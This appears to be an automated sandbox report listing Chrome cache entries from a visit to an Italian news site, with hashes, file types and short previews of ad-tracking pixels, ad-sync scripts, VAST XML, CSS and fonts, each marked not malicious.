URL:	https://us-u.openx.net/w/1.0/sd?id=537073028&val=c62af3df-c7bc-4527-8a7d-36c28cfa4384
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 653

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://bpi.rtactivate.com/tag/?id=50019&user_id=b3e196f6-9a6b-00e3-0f0c-791d72e14336
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 654

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?webouuid=GufFKx0VNR2VU2%2FPoE7OR.&env=mWeb&zpartnerid=431&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648&gdpr=0
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 655

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (562), with no line terminators
Category:	downloaded
Size (bytes):	562
Entropy (8bit):	5.1504272134401266
Encrypted:	false
SSDEEP:	12:fXff9kDiR9DSGuV6uHnxLZpmxxkWfenU4Pwj5DRWZR7Po:fXffTRJeV6uHxVpQfqU4I1RWZR8
MD5:	E1C1DC49512212ACD62BC075C3F4AC9F
SHA1:	CFB663E0E3A93556DC0424FC8747070C4F326A07
SHA-256:	00034CB941ED851CD46B17583789B3190B07F6B87C889BF4886EB35A62E08FB5
SHA-512:	06F3D5A2C7B585E49C78E6CCC8EC4D2076D36F3CFF8D623F768BB5B24BAF1DFA846919690814AAD9FDBD71221A17A6A2E15B6E042DB7EE48C5CB2E8681D5E947
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/801.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[801],{801:(o,c,t)=>{"use strict";t.r(c);var i=t(845);const{LoggerSour:e}=i.t,r=new e("CMP > Clickio");!function(){var o=window;const{scriptsToLoad:c}=o._sour.config;if(c.clickio){r.log("Initialize Clickio",c.clickio);var t=document.createElement("script");t.async=c.clickio.async,t.type="text/javascript";var i="https:"===document.location.protocol;t.src=(i?"https:":"http:")+c.clickio.url;var e=document.getElementsByTagName("script")[0];e.parentNode.insertBefore(t,e),r.log("Loading Clickio",t)}}()}}]);

Chrome Cache Entry: 656

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	4.292908596521779
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+DtjyREWqWv+ndp:6v/lhPfkCDtmDV+dp
MD5:	5BEC6606B8392065F9DA9898CA6F7B14
SHA1:	73AC5B01B5E3293FB792179626E7F8369CDB944D
SHA-256:	ACCCC501AA6AFA3CFAC15E8DDCCF1561DEED2ED08C2F7D652ABBDBE9AA71609A
SHA-512:	36FEC10F71295203E59BCC52042EE2691E5DB51D26F6D76D4B19BFEDF4429FDE898C87ABC77CA29F6BB58E6217FF380F0650115C06395CB1DA270BD028C2CF80
Malicious:	false
Reputation:	low
URL:	https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=
Preview:	.PNG........IHDR.............%.V.....PLTE......U..~....IDATx.c`.......'......IEND.B`.

Chrome Cache Entry: 657

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1078)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.442340076320128
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTKJFbzXh6vEFM+sBntvwCCZV9Uk7Se8rTuRXKr5c:c2Yz8TkYviMnhYJYTuRXEc
MD5:	7D03A93AF78FF8B4358E470954178345
SHA1:	B15135E48708EBC5002141C234646A1087ACCB9E
SHA-256:	78730D0DF8E320D5C8D13DD051877D8F3AD648BDCF67610A86B2F0F7C710C1C5
SHA-512:	CC425703664A3CA5CF4EA29FE083DD5EB54E380C4F4C3FD34E31B86144E1007E0EF8DD0F9DCB9FEFF016B331017FBF7E6A9410FB3BCFA39BE139C02D61FBAE4D
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=TubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://tremor-match.dotomi.com/match/bounce/current?networkId=1103&version=1&nuid=5c99a009bd184d5ca3b7885003b720e3&rid=30f2e100c3804685b89bc432e7fc41cf </Er

Chrome Cache Entry: 658

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=162412&userIdMacro=PM_UID&gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY}&&predirect=https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D316%26uid%3DPM_UID
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 659

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?pid=578c83848f5e56a85ae351fdaf32db39&zpartnerid=637&env=mWeb&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 660

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65440)
Category:	downloaded
Size (bytes):	305153
Entropy (8bit):	5.28871415824133
Encrypted:	false
SSDEEP:	6144:MZShGIKSCu4DzPF0BfZiP9GwBKn3YifcN1:MZShqSCu4DzP+fkPkw2fcb
MD5:	B9E5BC6AE2304C1FF623D74C6E93FE00
SHA1:	BF769EAF9695B695795D2292DF891E3FB1B5E8DA
SHA-256:	2F2EF1A173106EFC9F1E2048EE2A1F0ECAC78E166A57E83128776F565312357E
SHA-512:	D9C8E8E2219DA99EAEBA57E2648CA41935008CDDF44BB1BC1BE7E2B94B28DB2E046BFDD8ECEFE5A38B0CF611F91BAE1BD03BEE3C46C756876DBDE49C77675F44
Malicious:	false
Reputation:	low
URL:	https://c.amazon-adsystem.com/aax2/apstag.js
Preview:	/! @amzn/apswebapstaglibrary - web-client-bundle - v24.305.1002 - 2024-03-05 10:02:18 /.!function(){"use strict";var t=function(e,n){return t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n])},t(e,n)};var e=function(){return e=Object.assign\|\|function(t){for(var e,n=1,o=arguments.length;n<o;n++)for(var r in e=arguments[n])Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t},e.apply(this,arguments)};function n(t,e,n,o){var r,i=arguments.length,a=i<3?e:null===o?o=Object.getOwnPropertyDescriptor(e,n):o;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)a=Reflect.decorate(t,e,n,o);else for(var c=t.length-1;c>=0;c--)(r=t[c])&&(a=(i<3?r(a):i>3?r(e,n,a):r(e,n))\|\|a);return i>3&&a&&Object.defineProperty(e,n,a),a}function o(t,e,n,o){return new(n\|\|(n=Promise))((function(r,i){function a(t){try{u(o.next(t))}catch(t){i(t)}}function c(t){try{u(o.throw(t))}c

Chrome Cache Entry: 661

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 580x143, components 3
Category:	dropped
Size (bytes):	21791
Entropy (8bit):	7.970721817737829
Encrypted:	false
SSDEEP:	384:w4P6BG3mm+inMmF4K5K8cipyPgbbRRfYq8Fc/2iM7YGw2drB59bkAzGygGCBERFE:wvB5AVFdK81yPyfNwCc7YGw2k1KFFj3w
MD5:	369876D9E79F01F19A08F2DFDE51A120
SHA1:	BDAAB32A1F68BB6D84CBBE2E96EA4FD43263BF56
SHA-256:	A53A2DF5D5A22E71700672486C55131C80D51A23E50E8C0FCE6DF4545FEA1CC4
SHA-512:	6B6C85042FBB71E89218F0038B1B5AFB1EC9CB77632443E570DBB79FE8F0B51D16407B9DB47AF7F51C50C0A458B8228EA76775D13AD1CE6B078CBEEEDEE71C15
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................D..".................................................................................I....'.(.....{.uw...........Z....d].\|.Z.7...o...{_..u.4......4..3..h.......Ij.0.....D.s..@...=.D.$.L~.G~J........`....=Q.-.....%X...........gXA,.9...P.Z........eV...?cP.j3.3i...[......r.%.%...l.T.....:l..w.f}..r9w9../.Z@6e..Y.Z..p..U..za..fY.f..&k...M.....C...../!....<....n...2..j.......]....?]....C.......4T.*@Y...l...$..t.OY.O...UC..s,.$nz.+!B..V.d.KX.....(..y..N....Q...A..L......"o...b..O5.....S.T.G..\|qc.....9G-i..........}..i.P...5.L.....\]..}...B..H..K.. y.\|..~~.=KZ..ob.3m$......7R.A...&....r..?..?Y.;g..-8(.../`...G[Nl............w"...V..3......=.G(z.....^0.e.OK4.>q....o3.u...GS.r.}@.k.H...7..a...../...8.M..fR}.=~..U..Gy7..M=7R46..3eM{.5..q.............8h.....;..\'.......o..~8...3=V.w.h.._k..L

Chrome Cache Entry: 662

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5104), with no line terminators
Category:	downloaded
Size (bytes):	5104
Entropy (8bit):	5.626087408200778
Encrypted:	false
SSDEEP:	96:CM/h/b/hlfXPDJUgEdCbIZN2xVsyy38tl7/glDv1bW3:jfyP6EM
MD5:	5A5193CAE173D303A7969F44A04A5365
SHA1:	576DD72E151BFB5ABD3B5BB64D24A213F4155372
SHA-256:	96D2A9EBEAECAB494DE8C3B448F1542F031649D285B53D627F1AE445D7BB7BD9
SHA-512:	36F25B19767C5520F99FFEE86ADBA74F0A54919445467BAD636493F9A770DEF7EFD02027FECBF824499F09DC369A3F636CC7C04FA314F62440E68AE2C44814FA
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=26789249&p=156212&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://crb.kargo.com/api/v1/dsync/Martin?exid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.bfmio.com/sync?pid=187&uid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://match.deepintent.com/usersync/141?gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://cm.adgrx.com/bridge?AG_PID=pubmatic&AG_SETCOOKIE&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=');PubMatic.l

Chrome Cache Entry: 663

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 33904, version 0.0
Category:	downloaded
Size (bytes):	33904
Entropy (8bit):	6.256279837336883
Encrypted:	false
SSDEEP:	768:5l6bNYGjyiTan8+Ak/0gOKUUFmymrYunZKLWrjH:78uPn8w/0g93FmymrYunwL
MD5:	F69149EBACB6945516DC3461078B40FD
SHA1:	746E7E09079D98AE39D3E72284C89C03A3A4797B
SHA-256:	D3BDF8BF7932544A7776521D75C5E5D03223A4997FDEFDB0BFD4B80021F58D23
SHA-512:	5B0CD343AF2AC574D2832D586B5A01F465DE92DF65B75BD1D7962B90AE3037B181FCC949BD43AB844FB74EB0DBBDADA1C1F87129520B50B45A83C1CC51995001
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/themes/Newspaper/images/icons/newspaper.woff?23
Preview:	wOFF.......p.......$........................OS/2.......`...`....cmap...h............gasp................glyf......\|...\|....head..~....6...68.=.hhea.......$...$...qhmtx...(...T...TR...loca...\|...,...,?.Z.maxp....... ... ...[name.............J..post...P... ... ...............................3...................................@.........@...@............... ............................................... ...>.9...../.z.2.z........... .........../.z.2.z...............B.....a...`..........................................................79..................79..................79...............8.X..%..........#"'&5.476;.2............'#"........3132............#"'&=.!"'&=.4767!5476.......n..........E0000E..............&.....%...................................7............01D..D00...............$.n&...........7....................................R.........#"/.&5476..76.....B........')..)'...........&&..&&............J.......632........#"/.&54767.....''..''.............$-..-%.................\

Chrome Cache Entry: 664

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65532), with no line terminators
Category:	downloaded
Size (bytes):	291152
Entropy (8bit):	5.321627374765049
Encrypted:	false
SSDEEP:	6144:+np9EjLX3LWhDEALJ7L6TNLsU1Uhw0L4yRwIrTXI:YpDEALJ7LJVI
MD5:	E3BE409AC3C100E2A5D3F264EC260551
SHA1:	37C12FB96A63CCCD44462B6A4E3985D3D25EB270
SHA-256:	EBE0F94CA53BC5F7D865F89AEC5B0315BCA03ACE6942D6C1C76D94D5B59D419A
SHA-512:	C4C631DE2E390C3E7F6FF25ACBE83920BCBB3CB38AECB6C30973EBC38B2CCE37DFC425C60D503E9A0B06B6D4F40CA1EE52B4F2DBED927857C1994FD6A0A89E31
Malicious:	false
Reputation:	low
URL:	https://cdn.onesignal.com/sdks/OneSignalPageSDKES6.js?v=151605
Preview:	!function(e){var t={};function i(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,i),o.l=!0,o.exports}i.m=e,i.c=t,i.d=function(e,t,n){i.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:n})},i.r=function(e){Object.defineProperty(e,"__esModule",{value:!0})},i.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(t,"a",t),t},i.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},i.p="",i(i.s=27)}([function(e,t,i){"use strict";i.d(t,"a",function(){return n});Object.setPrototypeOf\|\|Array;Object.assign;function n(e,t,i,n){return new(i\|\|(i=Promise))(function(o,s){function r(e){try{c(n.next(e))}catch(e){s(e)}}function a(e){try{c(n.throw(e))}catch(e){s(e)}}function c(e){e.done?o(e.value):new i(function(t){t(e.value)}).then(r,a)}c((n=n.apply(e,t\|\|[])).next())})}},function(e,t,i){"use strict";i.d(t,"a",function(){return n});class n{static shouldLog(){try{if("undefined"

Chrome Cache Entry: 665

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 666

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (975)
Category:	downloaded
Size (bytes):	1014
Entropy (8bit):	5.407854504515983
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hTBFbzXh6vEFM+sBntvwCCZV9Uk9TuRXKr5c:c2Yz8TLYviMnhYJ9TuRXEc
MD5:	8DDF9F44AFE0DEADC44043310A4E0A8C
SHA1:	757596666FF5A3F6D31446DE167B346008F51032
SHA-256:	AE97B3D203DE16DDFA23D3A47CA924C21D40D3158F820552C8CF3982BCB993BC
SHA-512:	FA2BA3A0FF8AAEA6BF3D2C7A97C11DFD367DE1E29634FFF72B74397F33FDF2FCAF00757391E30A49CC459A2AD0E4CC5F403FEC5C2479813A4428D871D10118FD
Malicious:	false
Reputation:	low
URL:	https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=dataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://ad.turn.com/r/cs?pid=40&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><Creatives><Creative><Linear><TrackingEvents/></Linear></Creative></Creatives></Wrappe

Chrome Cache Entry: 667

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 35
Category:	downloaded
Size (bytes):	57
Entropy (8bit):	4.243970276791258
Encrypted:	false
SSDEEP:	3:FttfEsU/ei9zWC:Xtsei9zL
MD5:	9FA9171727EAD2F03FB9780105363EC9
SHA1:	306BBD2700324C1BBC2796BAAB7A0F03E025AD28
SHA-256:	9245BE042B001FDC3E68396FB9DAD950AA68BF747B9B4D7DC1F2EAD8ABB9D8EE
SHA-512:	E578AFC98130B8412CF8FAF19C461BA61F2E80A5AADCBE6810EE9B4E157D967D1B01E8E9E89BB58D3081B29D4BF33A9545C88556E42320B75C77E1B2BCE93FD2
Malicious:	false
Reputation:	low
URL:	https://js.tncid.app/cacheid/1711615889919.69407391658313378
Preview:	..........r.t..Ldd`dh```eaa``.a```..001.02X........>.#...

Chrome Cache Entry: 668

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	8460
Entropy (8bit):	7.977904031846799
Encrypted:	false
SSDEEP:	192:SAolIh7ze1pLaMSdHn+RqjeyItU78XDthQn:ZHhe1pOMfR6eyItUUJhu
MD5:	C6B7E6221EEC598993F890E71516214D
SHA1:	826FDF28788D374C1E271B549002951470EC709C
SHA-256:	C32360EDAF3E6F9F897151017F17B99658FEE022A8B42DAC4C3FB1D22D48441F
SHA-512:	E7ECFF83B669F7339951390B4D424609E636CFBE13B4A6ADB88CC10DD0AEE50E5B54A9BE4398AC90D47CAB4A475B408E83FC66D96B67E846B0B38091AA295C17
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/20240326_2188.jpg?resize=324%2C160&ssl=1
Preview:	RIFF.!..WEBPVP8 . ..p....D...>m..G.""#...x...em.0.~.....>Y../].c_O....{....cGk.......C......^.........?.......w._t....9...I..Y.........z+.s./..._...zL....~...7..E..U....B...{..$".w..r.9;.U.k.Df=...a....y.....y.^..s..8Xy........(s...+.,..V6....rI.f+.^\...m.\|.+.S..:.hT.]...5./....F6m.......f...%4.....N........^?(.x.e....J.X..R.{u.A.........`.......p.!...?S..<D+1..i.4...s..i....W..@.......V.JH>8...00.S.$....gvc...Q..7\@i...v.c....Z..rA.i.. .n.....w....-..@..5...Umw+...-.w.{.Pf..tU.Dr.L......>..........C,...t...D.1......:..M.x....mG6..(..?....6..S.....S..^.Ez......I..\|......0.d..&..{.8.v8.X..'D:.....k..z.V.5....".....xf.....t._-...<..k2'.o,G.8........5t.a.#z5{...^'.c..-,.=x..g1/./.G.@..........I.p...\|n...8.\o..u._y.ns...F....P}.....!.......3....R.0n.1....m4.>...~>~..R..}O.-$..hv.F,..`&.\.1.......X.Qo.F...S....<O..leW...(v..\|$.(..b.%..t..e...yI.@..%.sD..-..$A......E...........zM#.....3d!5...K.....M.....g..m.-..V.&..-....G......ka.:.

Chrome Cache Entry: 669

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	138456
Entropy (8bit):	5.175225495487707
Encrypted:	false
SSDEEP:	1536:RErBtFrTpFX/lFmM2snX1uA51VKv+6zXQ58UuM7U3HwylKZvZS:alRFv/mM2sc
MD5:	FDB4B690AD617A7F15609E946A4DD576
SHA1:	7BBBF174B1E10B573014C7F91E4F2977191FAB4A
SHA-256:	7A285AF229F764F598D19448A198D51EB904630C0FADF40AC581F9F96AEC33F6
SHA-512:	55280C0BFAFB0514C95A2B6ADD99791ED1420177D50A2C4736EB158F1F4E50D83B8BFB3224009FE496AA5BBC7C27889AC4EAF75835883B478CB866AE6D655F97
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/assets/css/td_legacy_main.css?ver=6217cd4d7820e3bfbc83cc495211f01b
Preview:	.mx_image_background{background-color:#f2f2f2}.td-visibility-hidden{visibility:hidden}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;content:"";line-height:0}.clearfix:after{clear:both}.td-sp{background-image:url(../images/sprite/elements.png);background-repeat:no-repeat;display:block}.td-sp-video-play{width:42px;height:42px;background-position:-20px -488px}.td-sp-video-pause{width:42px;height:42px;background-position:-20px -612px}.td-sp-facebook{width:32px;height:32px;background-position:-20px -20px}.td-sp-pinterest{width:32px;height:32px;background-position:-20px -72px}.td-sp-rss{width:32px;height:32px;background-position:-20px -124px}.td-sp-soundcloud{width:32px;height:32px;background-position:-20px -176px}.td-sp-instagram{width:32px;height:32px;background-position:-20px -228px}.td-sp-vimeo{width:32px;height:32px;background-position:-20px -332px}.td-sp-youtube{width:32px;height:32px;background-position:-20px -384px}.td-sp-twitter{width:32px;height:32px;background-p

Chrome Cache Entry: 670

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
